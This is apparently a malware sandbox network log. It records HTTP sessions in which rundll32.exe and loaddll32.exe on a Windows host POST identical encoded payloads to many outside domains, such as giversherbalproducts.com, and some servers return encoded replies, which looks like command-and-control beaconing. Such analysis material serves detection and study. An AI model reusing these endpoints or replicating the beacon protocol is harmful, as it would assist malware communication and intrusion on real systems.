Oct 4, 2021 16:04:44.841444969 CEST	7621	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:04:44 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
443	192.168.2.3	50285	166.62.10.34	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:45.251214027 CEST	7622	OUT	POST /oHbAKuM0/PA0fD304fCotO0J7cn5henxzYn1leQ== HTTP/1.1 Host: ditrpshop.in Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:45.864813089 CEST	7622	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:45 GMT Server: Apache X-Powered-By: PHP/5.6.40 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 69 73 5f 64 65 62 75 67 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6b 67 72 31 71 6a 67 6b 6d 32 72 68 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 64 69 74 72 70 73 68 6f 70 2e 69 6e 2f 6f 48 62 41 4b 75 4d 30 2f 69 6e 64 65 78 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 32 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined index: is_debug in <b>/home/kgr1qjgkm2rh/public_html/ditrpshop.in/oHbAKuM0/index.php</b> on line <b>2</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
444	192.168.2.3	50286	50.87.147.76	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:56.684020042 CEST	7623	OUT	POST /s6ImD3DAJs/EgIsGisbLy8FIAp9DwgHByIYeEZ6c3lifn1yZX5heA== HTTP/1.1 Host: surveillantfire.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:56.878232002 CEST	7624	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:04:56 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
445	192.168.2.3	50287	184.168.102.202	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:57.269833088 CEST	7625	OUT	POST /VIVB6kFar/Hww+RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: dhananialegalaid.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:57.872818947 CEST	7625	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:57 GMT Server: Apache X-Powered-By: PHP/7.3.30 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: User-Agent Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
446	192.168.2.3	50288	67.227.144.24	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:58.342204094 CEST	7626	OUT	POST /n1n3Sh4NSO08/CQgALXohIxEcIQgPDzYHBB4BLwU8L0J9dnlkenp3ZXhlfw== HTTP/1.1 Host: aulaintelimundo.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:58.605324984 CEST	7626	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:58 GMT Server: Apache X-Powered-By: PHP/7.2.34 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Cache-Control: max-age=600 Expires: Mon, 04 Oct 2021 14:14:58 GMT Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
447	192.168.2.3	50289	185.146.22.232	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:58.964835882 CEST	7627	OUT	POST /IvyhnWs8j/eyIsfA4FBhEBOkJ7cn5henxzYn1leQ== HTTP/1.1 Host: muwatin.net Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:59.377927065 CEST	7628	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.23 content-type: text/html; charset=UTF-8 content-length: 0 date: Mon, 04 Oct 2021 14:05:44 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
448	192.168.2.3	50290	185.58.73.28	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:59.638189077 CEST	7628	OUT	POST /a9TmwEDR/fCguKH8AQ3p1fWV7fXRheWR4 HTTP/1.1 Host: nkp.hr Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:59.956042051 CEST	7629	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
449	192.168.2.3	50291	103.125.80.58	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:00.385709047 CEST	7629	OUT	POST /Y3kzp0WtE0/KXMbDiQ8MA0pLgAbKQUtGAgZIH5Ce3J+YXp8c2J9ZXk= HTTP/1.1 Host: kvrassociates.net Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:05:01.115714073 CEST	7630	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 0 date: Mon, 04 Oct 2021 14:05:00 GMT server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49800	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:33.519150972 CEST	1137	OUT	POST /lBawcxb5/HiYFeTpyPng4KCF4Pzk8EQgqOQkgOA0PBUJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:33.987909079 CEST	1139	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:33 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyf0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
450	192.168.2.3	50292	165.227.90.171	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:01.462246895 CEST	7630	OUT	POST /4ByNgaVdId6/KA8zdCQ4AjsIJw0hGBx8JjkCehcRBw47CEJ7cn5henxzYn1leQ== HTTP/1.1 Host: marianaleyton.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
451	192.168.2.3	50293	199.193.116.170	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:01.932523966 CEST	7631	OUT	POST /eJDLM6siEv/OBp4HyU8LTIIRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: profitshub.in Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:05:02.180356026 CEST	7632	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:05:02 GMT Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
452	192.168.2.3	50294	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:02.562539101 CEST	7633	OUT	POST /lBawcxb5/LBNyGCwTey8VfBkDKDg5HhN6ehcYBUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:05:03.055380106 CEST	7633	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:05:02 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 6c 37 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXl7fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
453	192.168.2.3	50295	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:03.486804008 CEST	7634	OUT	POST /lBawcxb5/IhA6GCByHDMgHA9DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:05:03.937527895 CEST	7635	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:05:03 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 6c 37 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXl7f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
454	192.168.2.3	50297	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:09.737018108 CEST	7643	OUT	POST /lBawcxb5/DgwbKxs4fXItRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:05:10.184801102 CEST	7644	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:05:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 6c 36 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXl6fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
455	192.168.2.3	50298	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:09.740258932 CEST	7643	OUT	POST /lBawcxb5/DgwbKxs4fXItRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:05:10.200367928 CEST	7645	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:05:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 6c 36 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 